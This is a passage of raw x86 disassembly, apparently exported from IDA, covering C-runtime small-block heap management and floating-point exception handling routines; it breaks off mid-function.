cmp ebp, 400h jl short loc_41B94F push ebx push 0 push edi call sub_417330 add esp, 0Ch loc_41B978: ; CODE XREF: sub_41B888+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_41B99C or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_41B978 ; --------------------------------------------------------------------------- loc_41B99C: ; CODE XREF: sub_41B888+F7j mov eax, esi jmp short loc_41B9C7 ; --------------------------------------------------------------------------- loc_41B9A0: ; CODE XREF: sub_41B888+63j push 8000h push 0 push edi nop call near ptr 2840573h loc_41B9AE: ; CODE XREF: sub_41B888+4Bj cmp esi, offset off_4397C0 jz short loc_41B9C5 push esi push 0 push dword_48B684 call near ptr 26F0000h nop loc_41B9C5: ; CODE XREF: sub_41B888+2Bj ; sub_41B888+12Cj xor eax, eax loc_41B9C7: ; CODE XREF: sub_41B888+116j pop edi pop esi pop ebp pop ebx retn sub_41B888 endp ; =============== S U B R O U T I N E ======================================= sub_41B9CC proc near ; CODE XREF: sub_41BA22+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] nop call near ptr 2840573h cmp off_43B7E0, esi jnz short loc_41B9F1 mov eax, [esi+4] mov off_43B7E0, eax loc_41B9F1: ; CODE XREF: sub_41B9CC+1Bj cmp esi, offset off_4397C0 jz short loc_41BA19 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_48B684 call near ptr 26F0000h nop pop esi retn ; --------------------------------------------------------------------------- loc_41BA19: ; CODE XREF: sub_41B9CC+2Bj or dword_4397D0, 0FFFFFFFFh pop esi retn sub_41B9CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BA22 proc near ; CODE XREF: sub_41BB3B+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_4397C4 push edi loc_41BA2F: ; CODE XREF: sub_41BA22+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_41BACD and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_41BA48: ; CODE XREF: sub_41BA22+72j cmp dword ptr [edi], 0F0h jnz short loc_41BA89 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax call near ptr 2840573h nop test eax, eax jz short loc_41BA89 or dword ptr [edi], 0FFFFFFFFh dec dword_48A07C mov eax, [esi+0Ch] test eax, eax jz short loc_41BA7E cmp eax, edi jbe short loc_41BA81 loc_41BA7E: ; CODE XREF: sub_41BA22+56j mov [esi+0Ch], edi loc_41BA81: ; CODE XREF: sub_41BA22+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_41BA96 loc_41BA89: ; CODE XREF: sub_41BA22+2Cj ; sub_41BA22+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_41BA48 loc_41BA96: ; CODE XREF: sub_41BA22+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_41BACD cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_41BACD push 1 lea eax, [ecx+20h] pop edx loc_41BAAD: ; CODE XREF: sub_41BA22+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41BABE inc edx add eax, 8 cmp edx, 400h jl short loc_41BAAD loc_41BABE: ; CODE XREF: sub_41BA22+8Ej cmp edx, 400h jnz short loc_41BACD push ecx call sub_41B9CC pop ecx loc_41BACD: ; CODE XREF: sub_41BA22+11j ; sub_41BA22+7Dj ... cmp esi, off_4397C4 jz short loc_41BADF cmp [ebp+arg_0], 0 jg loc_41BA2F loc_41BADF: ; CODE XREF: sub_41BA22+B1j pop edi pop esi pop ebx leave retn sub_41BA22 endp ; =============== S U B R O U T I N E ======================================= sub_41BAE4 proc near ; CODE XREF: sub_417C3B+3Ap ; sub_41944F+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_4397C0 push esi mov ecx, edx loc_41BAF0: ; CODE XREF: sub_41BAE4+1Cj cmp eax, [ecx+10h] jbe short loc_41BAFA cmp eax, [ecx+14h] jb short loc_41BB02 loc_41BAFA: ; CODE XREF: sub_41BAE4+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_41BB37 jmp short loc_41BAF0 ; --------------------------------------------------------------------------- loc_41BB02: ; CODE XREF: sub_41BAE4+14j test al, 0Fh jnz short loc_41BB37 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_41BB37 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_41BB37: ; CODE XREF: sub_41BAE4+1Aj ; sub_41BAE4+20j ... xor eax, eax pop esi retn sub_41BAE4 endp ; =============== S U B R O U T I N E ======================================= sub_41BB3B proc near ; CODE XREF: sub_417C3B+4Dp ; sub_41944F+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_41BB7F inc dword_48A07C cmp dword_48A07C, 20h jnz short locret_41BB7F push 10h call sub_41BA22 pop ecx locret_41BB7F: ; CODE XREF: sub_41BB3B+2Bj ; sub_41BB3B+3Aj retn sub_41BB3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BB80 proc near ; CODE XREF: sub_417BC7+4Ap ; sub_41944F+1ACp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_43B7E0 push edi loc_41BB8E: ; CODE XREF: sub_41BB80+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_41BC39 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_41BBF3 loc_41BBB9: ; CODE XREF: sub_41BB80+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_41BBDC cmp [edi+4], ebx jbe short loc_41BBDC push ebx push ecx push eax call sub_41BD88 add esp, 0Ch test eax, eax jnz short loc_41BC4B mov eax, [ebp+var_4] mov [edi+4], ebx loc_41BBDC: ; CODE XREF: sub_41BB80+40j ; sub_41BB80+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_41BBB9 jmp short loc_41BBF6 ; --------------------------------------------------------------------------- loc_41BBF3: ; CODE XREF: sub_41BB80+37j mov ebx, [ebp+arg_0] loc_41BBF6: ; CODE XREF: sub_41BB80+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_41BC3C loc_41BC09: ; CODE XREF: sub_41BB80+B5j mov eax, [edi] cmp eax, ebx jl short loc_41BC28 cmp [edi+4], ebx jbe short loc_41BC28 push ebx push eax push [ebp+var_4] call sub_41BD88 add esp, 0Ch test eax, eax jnz short loc_41BC4B mov [edi+4], ebx loc_41BC28: ; CODE XREF: sub_41BB80+8Dj ; sub_41BB80+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_41BC09 jmp short loc_41BC3C ; --------------------------------------------------------------------------- loc_41BC39: ; CODE XREF: sub_41BB80+14j mov ebx, [ebp+arg_0] loc_41BC3C: ; CODE XREF: sub_41BB80+87j ; sub_41BB80+B7j mov esi, [esi] cmp esi, off_43B7E0 jz short loc_41BC5B jmp loc_41BB8E ; --------------------------------------------------------------------------- loc_41BC4B: ; CODE XREF: sub_41BB80+54j ; sub_41BB80+A3j mov off_43B7E0, esi sub [edi], ebx mov [esi+8], edi jmp loc_41BD83 ; --------------------------------------------------------------------------- loc_41BC5B: ; CODE XREF: sub_41BB80+C4j mov eax, offset off_4397C0 mov edi, eax loc_41BC62: ; CODE XREF: sub_41BB80+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_41BC6E cmp dword ptr [edi+0Ch], 0 jnz short loc_41BC7A loc_41BC6E: ; CODE XREF: sub_41BB80+E6j mov edi, [edi] cmp edi, eax jz loc_41BD4F jmp short loc_41BC62 ; --------------------------------------------------------------------------- loc_41BC7A: ; CODE XREF: sub_41BB80+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_41BCA9 loc_41BC98: ; CODE XREF: sub_41BB80+127j cmp [ebp+var_4], 10h jge short loc_41BCA9 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41BC98 loc_41BCA9: ; CODE XREF: sub_41BB80+116j ; sub_41BB80+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax nop call near ptr 28406B4h cmp eax, esi jnz loc_41BD81 push 0 push [ebp+var_8] push esi call sub_417330 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_41BD10 lea eax, [esi+4] mov [ebp+var_4], edx loc_41BCE6: ; CODE XREF: sub_41BB80+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_41BCE6 loc_41BD10: ; CODE XREF: sub_41BB80+15Ej mov off_43B7E0, edi lea eax, [edi+2018h] loc_41BD1C: ; CODE XREF: sub_41BB80+1A8j cmp ecx, eax jnb short loc_41BD2C cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41BD2A add ecx, 8 jmp short loc_41BD1C ; --------------------------------------------------------------------------- loc_41BD2A: ; CODE XREF: sub_41BB80+1A3j cmp ecx, eax loc_41BD2C: ; CODE XREF: sub_41BB80+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_41BD83 ; --------------------------------------------------------------------------- loc_41BD4F: ; CODE XREF: sub_41BB80+F2j call sub_41B888 test eax, eax jz short loc_41BD81 mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_43B7E0, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_41BD83 ; --------------------------------------------------------------------------- loc_41BD81: ; CODE XREF: sub_41BB80+143j ; sub_41BB80+1D6j xor eax, eax loc_41BD83: ; CODE XREF: sub_41BB80+D6j ; sub_41BB80+1CDj ... pop edi pop esi pop ebx leave retn sub_41BB80 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BD88 proc near ; CODE XREF: sub_41BB80+4Ap ; sub_41BB80+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_41BDCD lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_41BDBC add [ecx], edx sub [ecx+4], edx jmp short loc_41BDC5 ; --------------------------------------------------------------------------- loc_41BDBC: ; CODE XREF: sub_41BD88+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41BDC5: ; CODE XREF: sub_41BD88+32j lea eax, [edi+8] jmp loc_41BE9B ; --------------------------------------------------------------------------- loc_41BDCD: ; CODE XREF: sub_41BD88+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_41BDD6 mov eax, esi loc_41BDD6: ; CODE XREF: sub_41BD88+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_41BE20 loc_41BDDD: ; CODE XREF: sub_41BD88+96j mov bl, [eax] test bl, bl jnz short loc_41BE13 push 1 lea ebx, [eax+1] pop esi loc_41BDE9: ; CODE XREF: sub_41BD88+68j cmp byte ptr [ebx], 0 jnz short loc_41BDF2 inc ebx inc esi jmp short loc_41BDE9 ; --------------------------------------------------------------------------- loc_41BDF2: ; CODE XREF: sub_41BD88+64j cmp esi, edx jnb short loc_41BE44 cmp eax, [ebp+var_4] jnz short loc_41BE00 mov [ecx+4], esi jmp short loc_41BE0C ; --------------------------------------------------------------------------- loc_41BE00: ; CODE XREF: sub_41BD88+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_41BEA5 loc_41BE0C: ; CODE XREF: sub_41BD88+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41BE18 ; --------------------------------------------------------------------------- loc_41BE13: ; CODE XREF: sub_41BD88+59j movzx esi, bl add eax, esi loc_41BE18: ; CODE XREF: sub_41BD88+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_41BDDD loc_41BE20: ; CODE XREF: sub_41BD88+53j lea esi, [ecx+8] loc_41BE23: ; CODE XREF: sub_41BD88+EBj ; sub_41BD88+F2j cmp esi, edi jnb short loc_41BEA5 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_41BEA5 mov al, [esi] test al, al jnz short loc_41BE75 push 1 lea ebx, [esi+1] pop eax loc_41BE3B: ; CODE XREF: sub_41BD88+BAj cmp byte ptr [ebx], 0 jnz short loc_41BE65 inc ebx inc eax jmp short loc_41BE3B ; --------------------------------------------------------------------------- loc_41BE44: ; CODE XREF: sub_41BD88+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_41BE55 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_41BE5E ; --------------------------------------------------------------------------- loc_41BE55: ; CODE XREF: sub_41BD88+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_41BE5E: ; CODE XREF: sub_41BD88+CBj mov [eax], dl add eax, 8 jmp short loc_41BE9B ; --------------------------------------------------------------------------- loc_41BE65: ; CODE XREF: sub_41BD88+B6j cmp eax, edx jnb short loc_41BE7C sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_41BEA5 mov esi, ebx jmp short loc_41BE23 ; --------------------------------------------------------------------------- loc_41BE75: ; CODE XREF: sub_41BD88+ABj movzx eax, al add esi, eax jmp short loc_41BE23 ; --------------------------------------------------------------------------- loc_41BE7C: ; CODE XREF: sub_41BD88+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_41BE8D sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_41BE96 ; --------------------------------------------------------------------------- loc_41BE8D: ; CODE XREF: sub_41BD88+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41BE96: ; CODE XREF: sub_41BD88+103j mov [esi], dl lea eax, [esi+8] loc_41BE9B: ; CODE XREF: sub_41BD88+40j ; sub_41BD88+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_41BEA7 ; --------------------------------------------------------------------------- loc_41BEA5: ; CODE XREF: sub_41BD88+7Ej ; sub_41BD88+9Dj ... xor eax, eax loc_41BEA7: ; CODE XREF: sub_41BD88+11Bj pop edi pop esi pop ebx leave retn sub_41BD88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BEAC proc near ; CODE XREF: sub_41944F+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41BEE6 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_41BF46 ; --------------------------------------------------------------------------- loc_41BEE6: ; CODE XREF: sub_41BEAC+26j jnb short loc_41BF4D mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41BF4D lea eax, [ecx+edx] loc_41BEFB: ; CODE XREF: sub_41BEAC+59j cmp eax, esi jnb short loc_41BF09 cmp byte ptr [eax], 0 jnz short loc_41BF07 inc eax jmp short loc_41BEFB ; --------------------------------------------------------------------------- loc_41BF07: ; CODE XREF: sub_41BEAC+56j cmp eax, esi loc_41BF09: ; CODE XREF: sub_41BEAC+51j jnz short loc_41BF4D mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_41BF41 cmp esi, eax jbe short loc_41BF41 lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41BF38 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_41BF33 loc_41BF2C: ; CODE XREF: sub_41BEAC+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41BF2C loc_41BF33: ; CODE XREF: sub_41BEAC+7Ej mov [ebx+4], eax jmp short loc_41BF41 ; --------------------------------------------------------------------------- loc_41BF38: ; CODE XREF: sub_41BEAC+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_41BF41: ; CODE XREF: sub_41BEAC+68j ; sub_41BEAC+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_41BF46: ; CODE XREF: sub_41BEAC+38j mov [ebp+var_4], 1 loc_41BF4D: ; CODE XREF: sub_41BEAC:loc_41BEE6j ; sub_41BEAC+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41BEAC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_41BF55(int,int,double,int) sub_41BF55 proc near ; CODE XREF: sub_417CA4+51p ; sub_417DEB+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_43BF38, 0 jnz short loc_41BF8A push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_41C50A add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_41BF8A: ; CODE XREF: sub_41BF55+Aj push 0FFFFh mov dword_48A014, 21h push [ebp+arg_C] call sub_41C77D fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_41BF55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41BFA8(int,int,double,double,int) sub_41BFA8 proc near ; CODE XREF: sub_417CA4:loc_417D67p ; sub_417DEB:loc_417EAEp var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_41C2F3 add esp, 0Ch test eax, eax jnz short loc_41BFE6 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_41C040 add esp, 18h loc_41BFE6: ; CODE XREF: sub_41BFA8+1Aj push [ebp+arg_0] call sub_41C5DD cmp dword_43BF38, 0 pop ecx jnz short loc_41C024 test eax, eax jz short loc_41C024 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_41C50A add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_41C024: ; CODE XREF: sub_41BFA8+4Ej ; sub_41BFA8+52j push eax call sub_41C592 mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_41C77D fld [ebp+arg_10] pop ecx pop ecx leave retn sub_41BFA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C040 proc near ; CODE XREF: sub_41BFA8+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_41C072 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_41C072: ; CODE XREF: sub_41C040+23j test cl, 2 jz short loc_41C085 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_41C085: ; CODE XREF: sub_41C040+35j test cl, bl jz short loc_41C097 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_41C097: ; CODE XREF: sub_41C040+47j test cl, 4 jz short loc_41C0AA mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_41C0AA: ; CODE XREF: sub_41C040+5Aj test cl, 8 jz short loc_41C0BD mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_41C0BD: ; CODE XREF: sub_41C040+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_41C760 test al, bl jz short loc_41C146 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_41C146: ; CODE XREF: sub_41C040+FDj test al, 4 jz short loc_41C151 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_41C151: ; CODE XREF: sub_41C040+108j test al, 8 jz short loc_41C15C mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_41C15C: ; CODE XREF: sub_41C040+113j test al, 10h jz short loc_41C166 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_41C166: ; CODE XREF: sub_41C040+11Ej test al, 20h jz short loc_41C170 mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_41C170: ; CODE XREF: sub_41C040+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_41C1AF cmp eax, 400h jz short loc_41C1A1 cmp eax, 800h jz short loc_41C195 cmp eax, ecx jnz short loc_41C1B5 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_41C1B5 ; --------------------------------------------------------------------------- loc_41C195: ; CODE XREF: sub_41C040+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_41C1AB ; --------------------------------------------------------------------------- loc_41C1A1: ; CODE XREF: sub_41C040+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_41C1AB: ; CODE XREF: sub_41C040+15Fj mov [eax], ecx jmp short loc_41C1B5 ; --------------------------------------------------------------------------- loc_41C1AF: ; CODE XREF: sub_41C040+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_41C1B5: ; CODE XREF: sub_41C040+14Bj ; sub_41C040+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_41C1E0 cmp eax, 200h jz short loc_41C1D3 cmp eax, ecx jnz short loc_41C1ED mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_41C1ED ; --------------------------------------------------------------------------- loc_41C1D3: ; CODE XREF: sub_41C040+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_41C1EB ; --------------------------------------------------------------------------- loc_41C1E0: ; CODE XREF: sub_41C040+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_41C1EB: ; CODE XREF: sub_41C040+19Ej mov [eax], ecx loc_41C1ED: ; CODE XREF: sub_41C040+189j ; sub_41C040+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_41C76E lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] nop call near ptr 2850000h mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_41C267 and dword ptr [esi], 0FFFFFFFEh loc_41C267: ; CODE XREF: sub_41C040+222j test byte ptr [eax+8], 8 jz short loc_41C270 and dword ptr [esi], 0FFFFFFFBh loc_41C270: ; CODE XREF: sub_41C040+22Bj test byte ptr [eax+8], 4 jz short loc_41C279 and dword ptr [esi], 0FFFFFFF7h loc_41C279: ; CODE XREF: sub_41C040+234j test byte ptr [eax+8], 2 jz short loc_41C282 and dword ptr [esi], 0FFFFFFEFh loc_41C282: ; CODE XREF: sub_41C040+23Dj test [eax+8], bl jz short loc_41C28A and dword ptr [esi], 0FFFFFFDFh loc_41C28A: ; CODE XREF: sub_41C040+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_41C2BE dec ecx jz short loc_41C2B2 dec ecx jz short loc_41C2A8 dec ecx jnz short loc_41C2C0 or byte ptr [esi+1], 0Ch jmp short loc_41C2C0 ; --------------------------------------------------------------------------- loc_41C2A8: ; CODE XREF: sub_41C040+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_41C2BA ; --------------------------------------------------------------------------- loc_41C2B2: ; CODE XREF: sub_41C040+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_41C2BA: ; CODE XREF: sub_41C040+270j mov [esi], ecx jmp short loc_41C2C0 ; --------------------------------------------------------------------------- loc_41C2BE: ; CODE XREF: sub_41C040+257j and [esi], edx loc_41C2C0: ; CODE XREF: sub_41C040+260j ; sub_41C040+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_41C2E0 dec ecx jz short loc_41C2D7 dec ecx jnz short loc_41C2E9 and [esi], edx jmp short loc_41C2E9 ; --------------------------------------------------------------------------- loc_41C2D7: ; CODE XREF: sub_41C040+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_41C2E7 ; --------------------------------------------------------------------------- loc_41C2E0: ; CODE XREF: sub_41C040+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_41C2E7: ; CODE XREF: sub_41C040+29Ej mov [esi], ecx loc_41C2E9: ; CODE XREF: sub_41C040+291j ; sub_41C040+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp 